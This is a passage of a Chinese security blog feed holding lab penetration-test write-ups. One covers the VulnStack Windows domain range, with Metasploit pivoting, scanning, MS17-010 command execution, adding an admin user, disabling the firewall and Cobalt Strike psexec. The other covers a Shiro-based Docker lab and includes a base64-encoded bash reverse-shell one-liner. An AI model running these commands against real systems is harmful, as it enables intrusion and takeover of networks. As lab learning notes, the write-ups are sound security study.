  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_30.png" alt="" /></figure>
</p>
<p>获取到明文凭证
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_31.png" alt="" /></figure>
</p>
<h3 id="搭建socks隧道">搭建socks隧道</h3>
<p>第一次使用msf来搭socks,之前都是在用frp</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>run post/multi/manage/autoroute        <span style="color:#75715e">#加载MSF的autoroute模块，获取当前机器的所有网段信息</span>
</span></span></code></pre></div><p>这里为啥要使用autoroute这个模块呢</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_32.png" alt="" /></figure>
</p>
<p>使用auxiliary/server/socks_proxy模块来实现socks</p>
<p>先background把现在的meterpreter会话挂起,然后加载这个模块</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_33.png" alt="" /></figure>
<p>查看jobs可以看到后台运行的socks进程</p></p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_34.png" alt="" /></figure>
</p>
<h3 id="主机探测">主机探测</h3>
<p>使用arp-scanner模块进行内网的扫描</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>use post/windows/gather/arp_scanner
</span></span><span style="display:flex;"><span>set RHOSTS 192.168.52.0/24
</span></span><span style="display:flex;"><span>sessions  <span style="color:#75715e"># 查看session列表</span>
</span></span><span style="display:flex;"><span>set session <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf6 post<span style="color:#f92672">(</span>windows/gather/arp_scanner<span style="color:#f92672">)</span> &gt; run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Running module against STU1
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> ARP Scanning 192.168.52.0/24
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.1 MAC 00:50:56:c0:00:01 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.138 MAC 00:0c:29:3f:5d:a9 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.143 MAC 00:0c:29:a7:c1:a8 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.141 MAC 00:0c:29:6d:39:34 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.255 MAC 00:0c:29:a7:c1:a8 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span>     IP: 192.168.52.254 MAC 00:50:56:eb:1e:41 <span style="color:#f92672">(</span>VMware, Inc.<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Post module execution completed
</span></span></code></pre></div><p>当前机器的ip是192.168.52.143,域控的是192.168.52.138
所以说目前内网里面有三台机器138,141,143</p>
<p>还可以使用ping来做主机探测</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>C:<span style="color:#ae81ff">\W</span>indows<span style="color:#ae81ff">\s</span>ystem32&gt;for /L %I in <span style="color:#f92672">(</span>1,1,254<span style="color:#f92672">)</span> DO @ping -w <span style="color:#ae81ff">1</span> -n <span style="color:#ae81ff">1</span> 192.168.52.%I | findstr <span style="color:#e6db74">&#34;TTL=&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> /L %I in <span style="color:#f92672">(</span>1,1,254<span style="color:#f92672">)</span> DO @ping -w <span style="color:#ae81ff">1</span> -n <span style="color:#ae81ff">1</span> 192.168.52.%I | findstr <span style="color:#e6db74">&#34;TTL=&#34;</span>
</span></span><span style="display:flex;"><span>���� 192.168.52.138 �Ļظ�: �ֽ�<span style="color:#f92672">=</span><span style="color:#ae81ff">32</span> ʱ��&lt;1ms TTL<span style="color:#f92672">=</span><span style="color:#ae81ff">128</span>
</span></span><span style="display:flex;"><span>���� 192.168.52.141 �Ļظ�: �ֽ�<span style="color:#f92672">=</span><span style="color:#ae81ff">32</span> ʱ��&lt;1ms TTL<span style="color:#f92672">=</span><span style="color:#ae81ff">128</span>
</span></span><span style="display:flex;"><span>���� 192.168.52.143 �Ļظ�: �ֽ�<span style="color:#f92672">=</span><span style="color:#ae81ff">32</span> ʱ��&lt;1ms TTL<span style="color:#f92672">=</span><span style="color:#ae81ff">128</span>
</span></span></code></pre></div><h3 id="端口扫描-1">端口扫描</h3>
<p>扫一下域控的端口</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msf6 post<span style="color:#f92672">(</span>windows/gather/arp_scanner<span style="color:#f92672">)</span> &gt; use auxiliary/scanner/portscan/tcp
</span></span><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>scanner/portscan/tcp<span style="color:#f92672">)</span> &gt; show options
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Module options <span style="color:#f92672">(</span>auxiliary/scanner/portscan/tcp<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>   Name         Current Setting  Required  Description
</span></span><span style="display:flex;"><span>   ----         ---------------  --------  -----------
</span></span><span style="display:flex;"><span>   CONCURRENCY  <span style="color:#ae81ff">10</span>               yes       The number of concurrent ports to check p  
</span></span><span style="display:flex;"><span>                                           er host
</span></span><span style="display:flex;"><span>   DELAY        <span style="color:#ae81ff">0</span>                yes       The delay between connections, per thread  
</span></span><span style="display:flex;"><span>                                           , in milliseconds
</span></span><span style="display:flex;"><span>   JITTER       <span style="color:#ae81ff">0</span>                yes       The delay jitter factor <span style="color:#f92672">(</span>maximum value by  
</span></span><span style="display:flex;"><span>                                            which to +/- DELAY<span style="color:#f92672">)</span> in milliseconds.      
</span></span><span style="display:flex;"><span>   PORTS        1-10000          yes       Ports to scan <span style="color:#f92672">(</span>e.g. 22-25,80,110-900<span style="color:#f92672">)</span>      
</span></span><span style="display:flex;"><span>   RHOSTS                        yes       The target host<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>, see https://docs.meta  
</span></span><span style="display:flex;"><span>                                           sploit.com/docs/using-metasploit/basics/u  
</span></span><span style="display:flex;"><span>                                           sing-metasploit.html
</span></span><span style="display:flex;"><span>   THREADS      <span style="color:#ae81ff">1</span>                yes       The number of concurrent threads <span style="color:#f92672">(</span>max one  
</span></span><span style="display:flex;"><span>                                            per host<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>   TIMEOUT      <span style="color:#ae81ff">1000</span>             yes       The socket connect timeout in millisecond  
</span></span><span style="display:flex;"><span>                                           s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>View the full module info with the info, or info -d command.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>scanner/portscan/tcp<span style="color:#f92672">)</span> &gt; set RHOSTS 192.168.52.138
</span></span><span style="display:flex;"><span>RHOSTS <span style="color:#f92672">=</span>&gt; 192.168.52.138
</span></span><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>scanner/portscan/tcp<span style="color:#f92672">)</span> &gt; run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:53 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:80 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:88 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:139 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:135 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:389 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:445 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:464 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:593 - TCP OPEN
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:       - 192.168.52.138:636 - TCP OPEN
</span></span></code></pre></div><p>445端口是开放的,扫一下永恒之蓝</p>
<h3 id="ms17_010永恒之蓝">ms17_010永恒之蓝</h3>
<p>这里可以确定域控机器上是有永恒之蓝的</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msf6 auxiliary<span style="color:#f92672">(</span>scanner/smb/smb_ms17_010<span style="color:#f92672">)</span> &gt; run
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> 192.168.52.138:445    - Host is likely VULNERABLE to MS17-010! - Windows Server <span style="color:#ae81ff">2008</span> R2 Datacenter <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> x64 <span style="color:#f92672">(</span>64-bit<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> 192.168.52.138:445    - Scanned <span style="color:#ae81ff">1</span> of <span style="color:#ae81ff">1</span> hosts 
</span></span></code></pre></div><p>但是尝试了msf的exploit/windows/smb/ms17_010_eternalblue和 exploit/windows/smb/ms17_010_psexec都失败了</p>
<p>最后这个执行命令的可以用</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_35.png" alt="" /></figure>
</p>
<p>那就添加一个用户,然后rdp上去算了
先添加一个用户</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_36.png" alt="" /></figure>
</p>
<p>查看添加的用户,添加成功</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_37.png" alt="" /></figure>
</p>
<p>给管理员权限</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set COMMAND net localgroup administrators hack /add
</span></span><span style="display:flex;"><span>set COMMAND net localgroup administrators
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_38.png" alt="" /></figure>
</p>
<p>3389是关闭的,尝试开启3389</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_39.png" alt="" /></figure>
</p>
<p>这边是显示已经开启了的,但是还是连不上去</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_40.png" alt="" /></figure>
</p>
<p>原来是防火墙没关</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>set COMMAND  <span style="color:#e6db74">&#39;netsh advfirewall set allprofiles state off&#39;</span>
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_41.png" alt="" /></figure>
</p>
<p>这里为啥凭据会是错误的&hellip;.我在虚拟机界面是可以使用这个凭据登进去的&hellip;</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_42.png" alt="" /></figure>
</p>
<h3 id="cs上线">cs上线</h3>
<p>看了不少wp都是用cs拿的域控
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_43.png" alt="" /></figure>
<p>另一边连接cs_server</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_44.png" alt="" /></figure>
<p>启动监听器</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_45.png" alt="" /></figure>
<p>生成payload</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_46.png" alt="" /></figure>
<p>然后在蚁剑上上传进去,并执行,这边很快的显示弹回来了</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_47.png" alt="" /></figure>
<p>之后再beacon进行交互</p></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sleep <span style="color:#ae81ff">0</span>  <span style="color:#75715e"># 进入交互模式</span>
</span></span><span style="display:flex;"><span>getsystem <span style="color:#75715e"># 提权</span>
</span></span><span style="display:flex;"><span>net view <span style="color:#75715e"># 查看当前网络中的其他机器</span>
</span></span></code></pre></div><p>查看完之后再target视图中可以看到其他机器了,如果没有的话就扫描一下
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_48.png" alt="" /></figure>
<p>然后右键,选择psexec64</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_49.png" alt="" /></figure>
<p>新建一个用于psexec的监听器,然后</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_50.png" alt="" /></figure>
<p>运行之后就能拿到shell了,换成cs之后,很容易的就拿到了域控的shell</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_51.png" alt="" /></figure>
</p>
<p>最后以同样的方法,使用psexec32上线win2003机器
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba1-win%e5%9f%9f_image_52.png" alt="" /></figure>
</p>
<h1 id="l1uyun">l1uyun</h1>
<p>第一次打win域的机器,过段时间再打一下这台机器,这次是在学习打win域的流程了</p>
<p>这机器拖了好久才弄完&hellip;</p>
<h1 id="links">links</h1>
<p><a href="https://www.yuki8888.top/article/3a457dac-b9c6-4be9-a7fe-6cbd45438b9b#7f2446c1dab041b9a6b0a8ee81c4adc8" target="_blank" rel="noopener nofollow noreferrer" >记录红日靶场一 | yuki’s Blog</a></p>
<p><a href="https://blog.csdn.net/braty_/article/details/133283870" target="_blank" rel="noopener nofollow noreferrer" >红日-VulnStack靶场-ATT&amp;CK（一）横向渗透两种方法_红日内网渗透靶场-CSDN博客</a></p>
<p><a href="http://www.giraffexiu.love/index.php/2024/03/08/cobalt-strike%e5%ae%89%e8%a3%85%e5%8f%8a%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95/" target="_blank" rel="noopener nofollow noreferrer" >cobalt strike安装及使用方法 – 学习笔记</a></p>
<p><a href="https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg" target="_blank" rel="noopener nofollow noreferrer" >实战 ｜ 记一次基础的内网Vulnstack靶机渗透一</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Puff-Pastry打靶]]></title><link href="https://l1uyun.one/posts/puff-pastry%E6%89%93%E9%9D%B6/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/puff-pastry%E6%89%93%E9%9D%B6/</id>
            
            <published>2024-08-18T11:59:41+08:00</published>
            <updated>2024-10-16T15:05:57+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="前言">前言</h1>
<p>在群里瞅见了这个靶机,没打过这种复杂环境的靶机,玩一下</p>
<h1 id="puff-pastry打靶记录">Puff-Pastry打靶记录</h1>
<h2 id="搭建">搭建</h2>
<p>使用docker搭建,然后本地能够访问到一个8080端口
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_1.png" alt="|207" /><figcaption>|207</figcaption></figure>
<p>这里我最开始是使用的Windows docker,后面改成了使用虚拟机</p></p>
<h2 id="shiro">shiro</h2>
<h3 id="探测">探测</h3>
<p>java后端
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_2.png" alt="|522" /><figcaption>|522</figcaption></figure>
<p>进去只有一个登录框,在搭建过程中已经知道了第一台机器是shiro,选择记住密码,登录</p></p>
<p>这里出现了shiro的特征 Cookie中存在rememberme字段
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_3.png" alt="|453" /><figcaption>|453</figcaption></figure>
</p>
<h3 id="shiro利用">shiro利用</h3>
<p>直接上利用工具</p>
<p>获取flag
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/Puff-Pastry%e6%89%93%e9%9d%b6%e8%ae%b0%e5%bd%95_image_4.png" alt="" /></figure>
</p>
<p>拿一个反弹shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#39;bash -i 5&lt;&gt;/dev/tcp/192.168.122.102/1234 0&gt;&amp;5 1&gt;&amp;5&#39;</span> | base64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>bash -c <span style="color:#f92672">{</span>echo ,YmFzaCAtaSA1PD4vZGV2L3RjcC8xOTIuMTY4LjEyMi4xMDIvMTIzNCAwPiY1IDE+JjUK<span style="color:#f92672">}</span>|<span style="color:#f92672">{</span>base64,-d<span style="color:#f92672">}</span>|<span style="color:#f92672">{</span>bash,-i<span style="color:#f92672">}</span>
</span></span></code></pre></div><p>成功拿到shell</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> $ pwncat  -l <span style="color:#ae81ff">1234</span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>0<span style="color:#f92672">(</span>root<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/usr/bin/script -qc /bin/bash /dev/null
</span></span><span style="display:flex;"><span>root@653a3ab3924e:/# 
</span></span></code></pre></div><h3 id="内网扫描">内网扫描</h3>
<p>然后开始扫描内网.</p>
<p>这里不知道为啥出现了三台机器(多了一台192.168.100.1),192.168.100.3才是我接下来要利用的thinkphp机器.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@74d34925b057:/tmp# ifconfig
</span></span><span style="display:flex;"><span>eth0: flags<span style="color:#f92672">=</span>4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu <span style="color:#ae81ff">1500</span>
</span></span><span style="display:flex;"><span>        inet 192.168.100.2  netmask 255.255.255.0  broadcast 192.168.110.255
</span></span><span style="display:flex;"><span>        ether 02:42:c0:a8:6e:02  txqueuelen <span style="color:#ae81ff">0</span>  <span style="color:#f92672">(</span>Ethernet<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        RX packets <span style="color:#ae81ff">9369</span>  bytes <span style="color:#ae81ff">10919294</span> <span style="color:#f92672">(</span>10.4 MiB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        RX errors <span style="color:#ae81ff">0</span>  dropped <span style="color:#ae81ff">0</span>  overruns <span style="color:#ae81ff">0</span>  frame <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        TX packets <span style="color:#ae81ff">6246</span>  bytes <span style="color:#ae81ff">4921635</span> <span style="color:#f92672">(</span>4.6 MiB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        TX errors <span style="color:#ae81ff">0</span>  dropped <span style="color:#ae81ff">0</span> overruns <span style="color:#ae81ff">0</span>  carrier <span style="color:#ae81ff">0</span>  collisions <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>lo: flags<span style="color:#f92672">=</span>73&lt;UP,LOOPBACK,RUNNING&gt;  mtu <span style="color:#ae81ff">65536</span>
</span></span><span style="display:flex;"><span>        inet 127.0.0.1  netmask 255.0.0.0
</span></span><span style="display:flex;"><span>        loop  txqueuelen <span style="color:#ae81ff">1000</span>  <span style="color:#f92672">(</span>Local Loopback<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        RX packets <span style="color:#ae81ff">2465</span>  bytes <span style="color:#ae81ff">2566609</span> <span style="color:#f92672">(</span>2.4 MiB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        RX errors <span style="color:#ae81ff">0</span>  dropped <span style="color:#ae81ff">0</span>  overruns <span style="color:#ae81ff">0</span>  frame <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>        TX packets <span style="color:#ae81ff">2465</span>  bytes <span style="color:#ae81ff">2566609</span> <span style="color:#f92672">(</span>2.4 MiB<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        TX errors <span style="color:#ae81ff">0</span>  dropped <span style="color:#ae81ff">0</span> overruns <span style="color:#ae81ff">0</span>  carrier <span style="color:#ae81ff">0</span>  collisions <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@74d34925b057:/tmp# ./fscan -h 192.168.110.2/24
</span></span><span style="display:flex;"><span>start infoscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 192.168.100.1   is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 192.168.100.2   is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">(</span>icmp<span style="color:#f92672">)</span> Target 192.168.100.3   is alive
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Icmp alive hosts len is: <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>192.168.100.2:8080 open
</span></span><span style="display:flex;"><span>192.168.100.1:8080 open
</span></span><span style="display:flex;"><span>192.168.100.3:9000 open
</span></span><span style="display:flex;"><span>192.168.100.3:80 open
</span></span><span style="display:flex;"><span>192.168.100.1:22 open
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> alive ports len is: <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>start vulscan
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> FCGI 192.168.100.3:9000
</span></span><span style="display:flex;"><span>Status: <span style="color:#ae81ff">403</span> Forbidden
</span></span><span style="display:flex;"><span>X-Powered-By: PHP/7.3.33
</span></span><span style="display:flex;"><span>Content-type: text/html; charset<span style="color:#f92672">=</span>UTF-8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Access denied.
</span></span><span style="display:flex;"><span>stderr:Access to the script <span style="color:#e6db74">&#39;/etc/issue&#39;</span> has been denied <span style="color:#f92672">(</span>see security.limit_extensions<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>plesa try other path,as -path /www/wwwroot/index.php
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.100.1:8080 code:302 len:0      title:None 跳转url: http://192.168.100.1:8080/login;jsessionid<span style="color:#f92672">=</span>A4DC7661A1A9108ACF39363918EEC791
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.100.2:8080 code:302 len:0      title:None 跳转url: http://192.168.100.2:8080/login;jsessionid<span style="color:#f92672">=</span>64E76231AB0492BF3E940E05FEB02E58
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.100.3      code:200 len:931    title:None
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.100.1:8080/login;jsessionid<span style="color:#f92672">=</span>A4DC7661A1A9108ACF39363918EEC791 code:200 len:2608   title:Login Page
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> WebTitle http://192.168.100.2:8080/login;jsessionid<span style="color:#f92672">=</span>64E76231AB0492BF3E940E05FEB02E58 code:200 len:2608   title:Login Page
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> PocScan http://192.168.100.1:8080/ poc-yaml-shiro-key <span style="color:#f92672">[{</span>key kPH+bIxk5D2deZiIxcaaaA<span style="color:#f92672">==}</span> <span style="color:#f92672">{</span>mode cbc<span style="color:#f92672">}]</span>
